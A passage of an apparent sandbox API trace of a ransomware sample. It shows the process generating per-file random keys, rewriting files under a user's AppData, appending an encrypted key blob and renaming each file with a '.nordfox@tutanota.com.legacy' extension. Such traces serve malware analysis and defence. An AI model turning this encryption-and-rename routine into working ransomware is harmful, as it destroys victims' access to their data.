lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.889] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.890] CloseHandle (hObject=0x1c24) returned 1 [0195.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0195.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0195.890] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0e1d43a6-f261-491c-84ea-8bfcc6a4b70b}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0e1d43a6-f261-491c-84ea-8bfcc6a4b70b}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0e1d43a6-f261-491c-84ea-8bfcc6a4b70b}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0e1d43a6-f261-491c-84ea-8bfcc6a4b70b}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0195.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0195.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5c58 | out: hHeap=0x520000) returned 1 [0195.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5ae0 | out: hHeap=0x520000) returned 1 [0195.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5ae0 [0195.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0195.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0195.895] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.895] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.895] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0DF721FA-F921-4416-A491-1924F212C705}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e63b0 [0195.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0195.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e63b0 | out: hHeap=0x520000) returned 1 [0195.895] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0DF721FA-F921-4416-A491-1924F212C705}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0df721fa-f921-4416-a491-1924f212c705}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0195.896] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=961) returned 1 [0195.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c1) returned 0x30f6af0 [0195.896] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c1) returned 0x619440 [0195.896] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c1, lpOverlapped=0x0) returned 1 [0195.968] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-961, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.969] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c1, lpOverlapped=0x0) returned 1 [0195.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0195.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0195.969] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c1 [0195.969] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.969] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.969] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.969] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.970] CloseHandle (hObject=0x1c24) returned 1 [0195.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0195.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0195.970] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0DF721FA-F921-4416-A491-1924F212C705}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0df721fa-f921-4416-a491-1924f212c705}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0DF721FA-F921-4416-A491-1924F212C705}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0df721fa-f921-4416-a491-1924f212c705}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0195.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0195.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5ae0 | out: hHeap=0x520000) returned 1 [0195.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6818 | out: hHeap=0x520000) returned 1 [0195.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5ae0 [0195.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0195.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0195.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.972] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.972] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0df44eaa-ff21-4412-828e-260a8728e7f1}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5c58 [0195.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0195.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5c58 | out: hHeap=0x520000) returned 1 [0195.973] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0df44eaa-ff21-4412-828e-260a8728e7f1}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0df44eaa-ff21-4412-828e-260a8728e7f1}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0195.973] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=814) returned 1 [0195.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x32e) returned 0x30f6af0 [0195.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x32e) returned 0x619440 [0195.973] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x32e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x32e, lpOverlapped=0x0) returned 1 [0195.982] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-814, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.982] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x32e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x32e, lpOverlapped=0x0) returned 1 [0195.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0195.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0195.982] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x32e [0195.982] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.982] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.982] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.983] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.983] CloseHandle (hObject=0x1c24) returned 1 [0195.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0195.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0195.983] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0df44eaa-ff21-4412-828e-260a8728e7f1}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0df44eaa-ff21-4412-828e-260a8728e7f1}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0df44eaa-ff21-4412-828e-260a8728e7f1}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0df44eaa-ff21-4412-828e-260a8728e7f1}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0195.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0195.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5ae0 | out: hHeap=0x520000) returned 1 [0195.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5968 | out: hHeap=0x520000) returned 1 [0195.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6990 [0195.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0195.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0195.985] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.985] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.985] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0CDC534D-A9FF-450D-91D8-96C341ED44AA}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5968 [0195.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0195.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5968 | out: hHeap=0x520000) returned 1 [0195.986] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0CDC534D-A9FF-450D-91D8-96C341ED44AA}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0cdc534d-a9ff-450d-91d8-96c341ed44aa}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0195.986] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=962) returned 1 [0195.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c2) returned 0x30f6af0 [0195.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c2) returned 0x619440 [0195.986] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c2, lpOverlapped=0x0) returned 1 [0195.988] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.988] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c2, lpOverlapped=0x0) returned 1 [0195.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0195.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0195.988] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c2 [0195.988] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.988] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.988] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.988] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.988] CloseHandle (hObject=0x1c24) returned 1 [0195.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0195.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0195.989] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0CDC534D-A9FF-450D-91D8-96C341ED44AA}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0cdc534d-a9ff-450d-91d8-96c341ed44aa}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0CDC534D-A9FF-450D-91D8-96C341ED44AA}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0cdc534d-a9ff-450d-91d8-96c341ed44aa}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0195.991] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0195.991] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6990 | out: hHeap=0x520000) returned 1 [0195.991] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e57f0 | out: hHeap=0x520000) returned 1 [0195.991] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6818 [0195.991] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0195.991] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0195.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0195.992] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\classic_{09bf6a57-7bf7-4389-8d6f-2bcf6a26bb4e}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.992] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e57f0 [0195.992] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0195.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e57f0 | out: hHeap=0x520000) returned 1 [0195.992] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\classic_{09bf6a57-7bf7-4389-8d6f-2bcf6a26bb4e}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{09bf6a57-7bf7-4389-8d6f-2bcf6a26bb4e}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0195.993] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=949) returned 1 [0195.993] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3b5) returned 0x30f6af0 [0195.993] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3b5) returned 0x619440 [0195.993] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3b5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b5, lpOverlapped=0x0) returned 1 [0195.996] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.996] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3b5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b5, lpOverlapped=0x0) returned 1 [0195.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0195.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0195.996] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b5 [0195.996] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.996] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.996] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.996] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.996] CloseHandle (hObject=0x1c24) returned 1 [0195.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0195.999] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0195.999] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\classic_{09bf6a57-7bf7-4389-8d6f-2bcf6a26bb4e}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{09bf6a57-7bf7-4389-8d6f-2bcf6a26bb4e}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\classic_{09bf6a57-7bf7-4389-8d6f-2bcf6a26bb4e}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{09bf6a57-7bf7-4389-8d6f-2bcf6a26bb4e}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6818 | out: hHeap=0x520000) returned 1 [0196.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5210 | out: hHeap=0x520000) returned 1 [0196.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e57f0 [0196.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0196.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.002] SetFileAttributesW 